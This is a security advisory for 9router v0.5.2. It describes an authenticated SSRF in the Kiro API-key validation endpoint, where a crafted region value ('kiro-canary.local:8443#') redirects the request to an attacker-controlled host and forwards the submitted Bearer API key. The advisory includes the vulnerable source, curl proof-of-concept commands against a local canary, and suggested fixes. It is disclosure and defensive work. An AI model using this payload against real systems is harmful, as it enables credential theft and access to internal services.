Description

9router: Kiro region injection allows authenticated SSRF with Authorization header forwarding

Summary

The Kiro API-key validation endpoint builds an upstream URL using a user-controlled region value. By supplying a crafted region such as kiro-canary.local:8443#, an authenticated attacker can cause 9router to send the Kiro validation request to an attacker-controlled host under the constructed codewhisperer.<region> hostname. The request forwards the submitted Kiro API key as an Authorization: Bearer header.

Details

Affected version / commit: 9router v0.5.2 @ 5da508a.

Endpoint: POST /api/oauth/kiro/api-key.

Correct runtime payload: region: "kiro-canary.local:8443#".

Do not use the old @host# payload (region: "@kiro-canary.local:8443#"); it is blocked by Node/undici fetch() because it creates URL credentials ("Request cannot be constructed from a URL that includes credentials").

Constructed upstream host becomes: codewhisperer.kiro-canary.local:8443 (the # turns the trailing .amazonaws.com into a URL fragment).

HTTPS canary captured: Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO.

TLS verification was not globally disabled; the reproduction uses a local CA via NODE_EXTRA_CA_CERTS.

The no-auth control returns 401, so this standalone issue is authenticated.

SameSite=Lax on the session cookie prevents cross-site POST cookie delivery, so do not claim drive-by CSRF unless another same-site / auth-bypass primitive is chained.

Root cause. The route reads region straight from the request body and passes it, unvalidated, into the upstream URL template; the bearer credential is forwarded to that host, and the upstream response body is reflected back to the client on error:

// src/app/api/oauth/kiro/api-key/route.js
const { apiKey, region } = await request.json();
...
const credential = await kiroService.validateApiKey(apiKey, region || "us-east-1");
...
} catch (error) {
  return NextResponse.json({ error: error.message }, { status: 500 });   // reflects upstream body
}...
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// src/lib/oauth/services/kiro.js — listAvailableProfiles()
const endpoint = `https://codewhisperer.${region}.amazonaws.com`;        // region interpolated
const response = await fetch(endpoint, {
  method: "POST",
  headers: {
    "x-amz-target": "AmazonCodeWhispererService.ListAvailableProfiles",
    "Authorization": `Bearer ${accessToken}`,                            // credential forwarded
    ......
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There is no allowlist on region, and the call uses the default fetch dispatcher (no internal-IP denylist / DNS pinning), so a codewhisperer.<attacker-domain> that resolves to an internal address (e.g. 169.254.169.254 or RFC1918) would be reached.

PoC

Start the package:

docker compose up --build

The endpoint is authenticated, so first obtain a dashboard session using the password configured in docker-compose.yml (INITIAL_PASSWORD), saving the cookie:

curl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"password":"repro-dashboard-pass"}'

Then send the region-injection request with that session cookie:

curl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
  -H "Content-Type: application/json" \
  -d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'

Expected:

9router returns a 500 whose body contains a controlled canary marker, indicating the validation request reached the canary and its response was reflected.

docker compose logs kiro-canary shows a request with:

Host: codewhisperer.kiro-canary.local:8443

Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO

No-auth control (no session cookie):

curl -i -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
  -H "Content-Type: application/json" \
  -d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'

Expected: 401 Unauthorized.

Safe-region control (region: "us-east-1"): no canary hit; the blackholed AWS host is never contacted.

Impact

An authenticated attacker can make the server send a Kiro validation request to an attacker-controlled host and forward the submitted Kiro API key in the Authorization header. This can be used for SSRF and credential forwarding during Kiro API-key validation. The issue is authenticated as a standalone bug.

Screenshots

The following screenshots show the safe-region control, the region-injection SSRF trigger, the HTTPS canary evidence, and the no-auth control.

1. Safe-region control — normal Kiro validation path

An authenticated request to /api/oauth/kiro/api-key using the valid region us-east-1 and a dummy API key completes normally with 200 OK. This establishes the expected non-malicious validation path.

2. Region-injection SSRF trigger — canary marker reflected

An authenticated request supplies the crafted region value kiro-canary.local:8443#. Because the upstream URL is built from the raw region value, the request is routed to the attacker-controlled canary host under the constructed codewhisperer.<attacker-domain> hostname. The response contains a canary marker, confirming the server-side request reached the controlled endpoint.

3. HTTPS canary evidence — Authorization header forwarded

The HTTPS canary logs show a server-side request from the 9router container with Host: codewhisperer.kiro-canary.local:8443 and Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO. This confirms that the injected region controls the constructed upstream host and that 9router forwards the submitted Kiro API key to that host.

4. No-auth control — endpoint requires authentication

The same region-injection payload is sent without an authenticated session cookie, and the server returns 401 Unauthorized. This confirms the issue is authenticated as a standalone vulnerability and should not be described as unauthenticated unless it is chained with a separate authentication bypass.

Suggested Fix

Validate region against a strict allowlist of known Kiro/AWS regions (e.g. ^[a-z]{2}-[a-z]+-\d$).

Construct upstream endpoints only from fixed enum values.

Reject region values containing colon, slash, hash, at-sign, userinfo, whitespace, or hostname separators.

After URL construction, validate that the final hostname exactly matches the expected AWS/Kiro hostname pattern.

Do not forward Authorization headers to hosts derived from untrusted input, and stop reflecting upstream response bodies in error.message.

Mitigation

Aliases

References